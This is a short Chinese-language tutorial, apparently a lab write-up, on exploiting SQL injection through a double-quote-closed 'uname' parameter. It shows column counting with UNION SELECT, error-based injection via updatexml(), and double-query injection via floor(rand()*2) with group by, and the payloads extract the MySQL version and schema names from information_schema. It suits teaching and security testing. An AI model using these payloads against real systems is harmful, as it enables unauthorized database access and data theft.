进行了一系列的试探,发现输入双引号后报错,通过这个报错信息基本可以确定为双引号闭合语句。如果不放心,可以在输入双引号加括号进行试探。
判断列数:
" union select 1 --+ 报错:The used SELECT statements have a different number of columns
" union select 1,2 --+ 不报错,并且也不返回输出内容。
唯一可以输出内容的地方就是报错信息,所以可以使用报错注入和双注入 进行测试。
报错注入:
先进行试探看能不能报出信息:
" union select 1,updatexml(1,(select concat(0x7e,version())),1) --+
从下图可知,可以报出MySQL版本信息。
接下来进行注入:
" union select 1,updatexml(1,(select concat(0x7e,schema_name) from information_schema.schemata limit 2,1),1) --+
updatexml()函数有三个参数,第二参数会报错,第一个和第三个参数设置为数值1即可。
双注入
在进行双注入时如果不报错,就多发送几次请求就会有报错信息了。
uname=1111" union select 1,count(1) from information_schema.schemata group by concat(floor(rand()*2),0x7e,(select schema_name from information_schema.schemata limit 1,1)) --+